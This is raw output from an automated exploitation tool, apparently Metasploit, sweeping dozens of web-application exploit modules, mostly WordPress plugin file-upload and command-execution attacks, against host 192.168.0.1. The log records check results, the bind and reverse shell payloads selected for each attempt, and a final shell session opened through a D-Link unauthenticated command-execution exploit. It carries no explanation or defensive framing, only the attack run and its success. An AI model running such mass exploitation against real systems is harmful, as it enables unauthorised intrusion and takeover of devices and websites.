[*] Check code is safe - skipping exploitation attempt for unix/webapp/vicidial_manager_send_cmd_exec
[*] Checking unix/webapp/vicidial_user_authorization_unauth_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/vicidial_user_authorization_unauth_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/vicidial_user_authorization_unauth_cmd_exec
[*] Checking unix/webapp/webtester_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/webtester_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/webtester_exec
[*] Checking unix/webapp/wp_admin_shell_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/wp_admin_shell_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_advanced_custom_fields_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_advanced_custom_fields_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_advanced_custom_fields_exec
[*] Checking unix/webapp/wp_ajax_load_more_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: WP_USERNAME, WP_PASSWORD.
[*] Exploiting unix/webapp/wp_ajax_load_more_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_asset_manager_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_asset_manager_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_asset_manager_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_creativecontactform_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_creativecontactform_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_creativecontactform_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_downloadmanager_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_downloadmanager_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_downloadmanager_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_easycart_unrestricted_file_upload against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/wp_easycart_unrestricted_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_foxypress_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_foxypress_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_foxypress_upload
[*] Checking unix/webapp/wp_frontend_editor_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_frontend_editor_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_frontend_editor_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_google_document_embedder_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_google_document_embedder_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_google_document_embedder_exec
[*] Checking unix/webapp/wp_holding_pattern_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_holding_pattern_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No style.css file present", reason="No style.css file present", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_holding_pattern_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_inboundio_marketing_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_inboundio_marketing_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_inboundio_marketing_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_infinitewp_auth_bypass against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_infinitewp_auth_bypass: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Is the site online and running WordPress?", reason="Is the site online and running WordPress?", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_infinitewp_auth_bypass against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_infusionsoft_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_infusionsoft_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_infusionsoft_upload
[*] Checking unix/webapp/wp_lastpost_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/wp_lastpost_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/wp_mobile_detector_upload_execute against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_mobile_detector_upload_execute: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_mobile_detector_upload_execute against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_nmediawebsite_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_nmediawebsite_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_nmediawebsite_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_optimizepress_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_optimizepress_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_optimizepress_upload
[*] Checking unix/webapp/wp_photo_gallery_unrestricted_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/wp_photo_gallery_unrestricted_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_phpmailer_host_header against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_phpmailer_host_header: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine WordPress version", reason="Could not determine WordPress version", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_phpmailer_host_header against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking unix/webapp/wp_pie_register_bypass_rce against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_pie_register_bypass_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Wordpress not detected.", reason="Wordpress not detected.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/wp_pie_register_bypass_rce
[*] Checking unix/webapp/wp_pixabay_images_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_pixabay_images_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_pixabay_images_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_plainview_activity_monitor_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/wp_plainview_activity_monitor_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_platform_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting unix/webapp/wp_platform_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_property_upload_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_property_upload_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_property_upload_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_reflexgallery_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_reflexgallery_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_reflexgallery_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_revslider_upload_execute against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_revslider_upload_execute: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unable to retrieve the custom file", reason="Unable to retrieve the custom file", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_revslider_upload_execute against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_slideshowgallery_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: WP_USER, WP_PASSWORD.
[*] Exploiting unix/webapp/wp_slideshowgallery_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_symposium_shell_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_symposium_shell_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_symposium_shell_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_total_cache_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_total_cache_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_total_cache_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_worktheflow_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_worktheflow_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_worktheflow_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_wpdiscuz_unauthenticated_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: BLOGPATH.
[*] Exploiting unix/webapp/wp_wpdiscuz_unauthenticated_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_wpshop_ecommerce_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_wpshop_ecommerce_file_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_wpshop_ecommerce_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_wptouch_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USER, PASSWORD.
[*] Exploiting unix/webapp/wp_wptouch_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/wp_wysija_newsletters_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/wp_wysija_newsletters_upload: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Response code=404", reason="Response code=404", details={}, vuln={}>
[*] Exploiting unix/webapp/wp_wysija_newsletters_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking unix/webapp/xoda_file_upload against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/xoda_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/xoda_file_upload
[*] Checking unix/webapp/xymon_useradm_cmd_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/xymon_useradm_cmd_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking unix/webapp/zeroshell_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/zeroshell_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/zeroshell_exec
[*] Checking unix/webapp/zoneminder_lang_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/zoneminder_lang_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Check TARGETURI - unexpected HTTP response code: 404", reason="Check TARGETURI - unexpected HTTP response code: 404", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/zoneminder_lang_exec
[*] Checking unix/webapp/zoneminder_packagecontrol_exec against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/zoneminder_packagecontrol_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/zoneminder_packagecontrol_exec
[*] Checking unix/webapp/zoneminder_snapshots against host 192.168.0.1:80 ...
[*] Check code for unix/webapp/zoneminder_snapshots: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Check TARGETURI - unexpected HTTP response code: 404", reason="Check TARGETURI - unexpected HTTP response code: 404", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for unix/webapp/zoneminder_snapshots
[*] Checking unix/webapp/zpanel_username_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting unix/webapp/zpanel_username_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] All exploits sent to 192.168.0.1 ... lets wait a few seconds
[*] The autoexploitation attempt has completed with 1 sessions
Active sessions
===============
Session ID: 1
Name:
Type: shell unix
Info:
Shell Banner:
MB0Q7GIDlzDCj9sJ
#
-----
Tunnel: 192.168.0.2:34981 -> 192.168.0.1:56970 (192.168.0.1)
Via: exploit/linux/http/dlink_command_php_exec_noauth
Encrypted: No
UUID:
CheckIn: <none>
Registered: No
Stopping all jobs...
